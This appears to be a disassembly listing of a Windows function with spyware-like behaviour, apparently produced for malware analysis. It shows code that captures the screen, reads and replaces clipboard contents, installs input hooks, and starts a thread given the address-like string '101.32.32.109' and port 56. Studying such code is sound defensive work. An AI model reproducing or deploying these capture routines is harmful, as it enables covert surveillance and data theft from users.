Function at 0x4011a0
Capabilities:
Create thread
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x43d008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004015c0
push 0x48ce
push 0x43903c
push 2
call fcn.0040a040
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x13c], 0
movups xmmword [ebp - 0x134], xmm0
push 0
movups xmmword [ebp - 0x124], xmm0
movq qword [ebp - 0x114], xmm0
call esi
mov ebx, eax
push 1
mov dword [ebp - 0x154], ebx
call esi
mov dword [ebp - 0x150], eax
xorps xmm0, xmm0
mov dword [ebp - 0x130], eax
imul eax, ebx
movlpd qword [ebp - 0x124], xmm0
movlpd qword [ebp - 0x11c], xmm0
movlpd qword [ebp - 0x114], xmm0
mov dword [ebp - 0x138], 0x28
add eax, eax
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x124], eax
add eax, 0x36
mov dword [ebp - 0x14a], eax
mov eax, 0x4d42
mov dword [ebp - 0x12c], 0x100001
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x146], 0
mov dword [ebp - 0x142], 0x36
mov word [ebp - 0x14c], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x4013a0
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x401393
push 0
push 0
lea eax, [ebp - 0x13c]
push eax
push 0
lea eax, [ebp - 0x138]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ebx, eax
test ebx, ebx
je 0x40138c
push ebx
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x150]
push dword [ebp - 0x154]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x401385
push dword [ebp - 0x14a]
call fcn.0040f067
add esp, 4
test eax, eax
je 0x401385
movq xmm0, qword [ebp - 0x14c]
mov ecx, dword [ebp - 0x144]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x140]
mov word [eax + 0xc], cx
movups xmm0, xmmword [ebp - 0x138]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [ebp - 0x128]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [ebp - 0x118]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [ebp - 0x124]
push dword [ebp - 0x13c]
push eax
call fcn.0040c740
push 0x43909f
push 0x19895
push 2
call fcn.0040a170
add esp, 0x18
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [ebp - 0x10c]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x2a26
push 0x43903c
push 2
call fcn.0040a040
mov ebx, dword [sym.imp.USER32.dll_OpenClipboard]
add esp, 0xc
push 0
call ebx
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, eax
test esi, esi
je 0x401465
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x401448
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x401465
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0040c5a0
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401408
sub ecx, edx
cmp ecx, 0x104
jae 0x40142b
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401420
sub ecx, edx
jmp 0x401430
mov ecx, 0x104
push ecx
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.0040c740
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
lea eax, [ebp - 0x108]
push eax
push 0x4390a0
push 0x19895
push 2
call fcn.0040a170
add esp, 0x10
push 0x104
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4014b5
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4014b5
push str.adfasdgag
push 0x104
push eax
call fcn.0040f072
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call ebx
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call edi
push 0x481e
push 0x43903c
push 2
call fcn.0040a040
push 8
mov dword [ebp - 0x10c], 0
call fcn.0040f067
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x10c]
add esp, 0x10
mov dword [eax + 4], 0x38
mov dword [eax], str.101.32.32.109
push ecx
push 0
push eax
push 0x401860
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40150f
push eax
call esi
call fcn.00402630
test al, al
je 0x40154e
call fcn.00402a40
push 0x43f210
push 0
push 0
push 0x404700
push 0
push 0
call edi
test eax, eax
jne 0x40154b
push str.Cannot_create_a_new_hook_thread_n
push 0x17421
push 2
call fcn.0040a170
add esp, 0xc
jmp 0x40154e
push eax
call esi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0
push eax
push 0
push str.101.32.32.109
push 0x4070b0
push 0
push 0
call edi
test eax, eax
jne 0x401584
push str.Cannot_create_a_new_hook_thread_n
call fcn.00407010
add esp, 4
jmp 0x401587
push eax
call esi
push 0x211c
push 0x43903c
push 2
call fcn.0040a040
push str.pause
call fcn.0040f041
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0040a2a0
mov esp, ebp
pop ebp
ret